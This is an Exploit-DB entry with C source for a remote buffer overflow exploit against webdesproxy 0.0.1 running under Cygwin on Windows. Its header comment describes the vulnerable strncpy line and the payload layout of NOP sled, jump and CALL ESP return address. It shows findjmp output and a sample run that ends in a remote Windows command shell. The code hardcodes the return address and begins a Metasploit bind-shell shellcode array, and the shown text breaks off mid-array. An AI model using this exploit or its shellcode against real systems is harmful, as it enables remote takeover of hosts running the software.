Exploit-DB #3913
Description: webdesproxy 0.0.1 - GET Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-12
Author: vade79

Exploit:
/*[ webdesproxy[v0.0.1]: (cygwin) remote buffer overflow exploit. ]*
  *                                                                *
  * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)               *
  *                                                                *
  * compile:                                                       *
  *  gcc xwdp-cygwin.c -o xwdp-cygwin                              *
  *                                                                *
  * syntax:                                                        *
  *  ./xwdp-cygwin [-r] -h host -p port                            *
  *                                                                *
  * webdesproxy homepage/url:                                      *
  *  http://sourceforge.net/projects/webdesproxy/                  *
  *  http://webdesproxy.sourceforge.net/                           *
  *                                                                *
  * I was curious on how cygwin-related (stack) buffer overflows   *
  * behaved, so i browsed around for opensource cygwin-related     *
  * projects and this fella popped up.  not overly popular, but    *
  * good for learning/exploration.  one interesting note is it is  *
  * easy to make universal cygwin exploits as cygwin1.dll is       *
  * usually included with the program, making for possible static  *
  * jmp/call addresses no matter the windows (SP/Lang) version.    *
  * (excluding 64bit)                                              *
  *                                                                *
  * Also, webdesproxy fork()s all of its subprocesses, so it       *
  * doesn't matter if it faults the first time.                    *
  *                                                                *
  * bug:                                                           *
  *  webdesproxy.c:111:strncpy(mb,myp,mypend-myp);                 *
  *                                                                *
  * exploitation method:                                           *
  *  "GET http://[NOPx250][JMP4][EIP/"CALL ESP"][NOPx32][SC]/\n\n" *
  *                                                                *
  * To find the address needed for the EIP overwrite, use          *
  * findjmp.exe(the defined/default address should work out of the *
  * box as the .dll is included with the program):                 *
  * -------------------------------------------------------------- *
  *  C:\webdesproxy>findjmp.exe cygwin1.dll esp                    *
  *  Reg: esp                                                      *
  *  Scanning cygwin1.dll for code usable with the esp register    *
  *  0x61048690      push esp - ret                                *
  *  0x6104936D      jmp esp                                       *
  *  0x6112C494      push esp - ret                                *
  *  Finished Scanning cygwin1.dll for code usable with the esp r$ *
  *  Found 3 usable addresses                                      *
  *                                                                *
  * example usage:                                                 *
  * -------------------------------------------------------------- *
  *  [v9@fhalo v9]$ ./xwdp-cygwin -h desktop.fakehalo.lan -p 1111  *
  *  [*] webdesproxy[v0.0.1]: (cygwin) remote buffer overflow exp$ *
  *  [*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)          *
  *                                                                *
  *  [*] target: desktop.fakehalo.lan:1111                         *
  *  [*] return address($eip/"CALL ESP"): 0x6104936d               *
  *  [*] attempting to connect: desktop.fakehalo.lan:1111.         *
  *  [*] successfully connected: desktop.fakehalo.lan:1111.        *
  *  [*] sending string:                                           *
  *  [+]  "GET http://[NOPSx250][JMP4][EIP/"CALL ESP"][NOPSx32][S$ *
  *  [*] closing connection.                                       *
  *                                                                *
  *  [*] attempting to connect: desktop.fakehalo.lan:7979.         *
  *  [*] successfully connected: desktop.fakehalo.lan:7979.        *
  *                                                                *
  *  Microsoft Windows XP [Version 5.1.2600]                       *
  *  (C) Copyright 1985-2001 Microsoft Corp.                       *
  *                                                                *
  *  C:\cygwin>                                                    *
  ******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFSIZE 1024
#define TIMEOUT 10
#define SPORT 7979

/* (WinXP home SP2.  cygwin1.dll is included, so it should match */
/* no matter what.  if not, run findjmp.exe on a used dll...) */
/* findjmp.exe cygwin1.dll esp */
/* ...                         */
/* 0x6104936D      jmp esp     */
/* ...                         */
#define DFL_RETADDR 0x6104936D

/* globals. */

/* win32_bind - EXITFUNC=thread LPORT=7979 Size=344 */
/* Encoder=PexFnstenvSub http://metasploit.com      */
static char x86_bind[]=
 "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b"
 "\x76\x8d\x13\x83\xeb\xfc\xe2\xf4\xb7\x1c\x66\x5e\xa3\x8f\x72\xec"
 "\xb4\x16\x06\x7f\x6f\x52\x06\x56\x77\xfd\xf1\x16\x33\x77\x62\x98"
 "\x04\x6e\x06\x4c\x6b\x77\x66\x5a\xc0\x42\x06\x12\xa5\x47\x4d\x8a"
 "\xe7\xf2\x4d\x67\x4c\xb7\x47\x1e\x4a\xb4\x66\xe7\x70\x22\xa9\x3b"
 "\x3e\x93\x06\x4c\x6f\x77\x66\x75\xc0\x7a\xc6\x98\x14\x6a\x8c\xf8"
 "\x48\x5a\x06\x9a\x27\x52\x91\